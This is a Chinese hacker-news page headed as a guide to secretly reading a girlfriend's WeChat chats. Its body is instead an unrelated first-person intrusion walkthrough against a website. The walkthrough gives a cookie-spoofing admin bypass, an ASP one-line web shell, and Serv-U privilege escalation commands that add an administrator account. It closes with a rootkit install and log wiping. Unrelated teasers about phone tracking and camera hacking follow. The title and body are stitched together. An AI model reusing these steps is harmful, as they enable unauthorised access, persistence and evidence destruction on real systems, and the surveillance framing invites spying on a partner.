怎么才能查询女朋友的微信聊天的记录 如何查看

访客4年前黑客资讯1211

DB_OWNER权限,SQL Server禁止多句执行(偶就不能通过WEB方式备份得到shell了),开了3389(冲着它来的) 后台没什么功能,想放弃,可发现了下面的一幕 发现了一个计数器程序的readme http://www.abc.com/count/readme.txt 有说明就好办,从网上下了个源程序来 发现漏洞文件count/admin.asp代码如下 _____________________________________________________________ <% '****************************** ' ' 飞越访客单用户统计系统 ' 飞越 feiyueziwo@sohu.com ' www.pwsite.net ' ' 版权所有: 动力在线 ' '****************************** %> <% response.write Request.Cookies(feiyue)("Username") if Request.Cookies(feiyue)("Username")="" then response.end response.Redirect("login.asp?action=error") end if%> ........... _____________________________________________________________ cookies欺骗一句话就可以搞定 再IE里输入以下代码,再访问http://www.abc.com/count/admin.asp就是管理员了 javascript:document.cookie="feiyue=Username=cooldiyer"; 后台没什么可利用,郁闷,数据库插马本机测试可以成功,可它网站的不行,压缩了数据库还不行, 后台不能上传文件,只一个备份数据库功能,利用这个功能把数据库连接文件给显示了出来,得到 SQL Server连接用户和密码,远程连接后备份数据库log得到一个shell 主机开了Serv-U 6.2,上传Serv-U本地提权工具ftp.exe 写了一句话木马如下: <%=Server.CreateObject("wscript.shell").exec(request("cmd")).stdout.readall%> 执行: http://www.abc.com/shell.asp?cmd=D:\www\ftp.exe "net user cooldiyer /add" http://www.abc.com/shell.asp?cmd=D:\www\ftp.exe "net localgroup administrators cooldiyer /add" 成功!连其3389端口,安上rootkit,CA一个管理员,CleanLog,闪人.......

相关文章

网上收费查定位是真的吗(网上查定位的软件靠谱吗)

在网上收费标准查定位是真是假(在网上查定位的手机软件可靠吗) 坚信大伙儿针对iPhone也不生疏。它是美国苹果公司产品研发及市场销售的智能机,运作自主研发的iOS系统软件(根据macOS、Darwi...

国电电力甘肃新能源公司风电年度发电量突破4亿千瓦时_也会

截至11月18日,国电电力甘肃新能源公司瓜州风电场年累计发电40088.605万千瓦时,利用小时完成1994.5小时,同比增加508.7小时。今年,面对依然严峻的外部市场环境,该公司紧盯电量任务目标不...

浙江查获特大盗墓团伙怎么回事?具体详情曝光共抓获21名犯罪嫌疑人

浙江查获特大盗墓团伙怎么回事?具体详情曝光共抓获21名犯罪嫌疑人

近日,浙江绍兴柯桥区警方通报摧毁了一特大盗窃文物团伙,抓获21名犯罪嫌疑人,缴获1万余块魏晋南北朝时期的古砖。经查,2019年1月至2020年5月底,团伙到杭州、绍兴、宁波等地,盗掘40余座古墓葬...

黑客民用监控小夫妻(黑客监控家庭)

黑客民用监控小夫妻(黑客监控家庭)

本文导读目录: 1、开户另一台电脑的摄像头? 2、黑客能否通过摄像头看到自己吗? 3、满分求助 - 寻一有关黑客入侵某客机系统的电影 4、家里安装了摄像头,该怎样保证摄像头没有被黑客入侵?...

欧盟增购3亿剂生物佛教气功手印总集新技术/辉瑞新冠疫苗

  (抗击新冠肺炎)欧盟增购3亿剂生物新技术/辉瑞新冠疫苗   中新社布鲁塞尔1月8日电 (记者 德永健)欧盟8日宣布增购3亿剂德国生物新技术公司(BioNTech)和美国辉瑞制药有限公司研发的新冠...

信用卡可以转账吗(信用卡可以向银行卡转账吗)

  透支卡能够转帐吗(透支卡能够向银行转账吗)转帐的个人行为一般分成二种:一种是“转出”,一种是“转到”。可是透支卡究竟是否具有转帐的作用呢?非常值得我们一起来认证一下!   最先得掌握透支卡它也称作...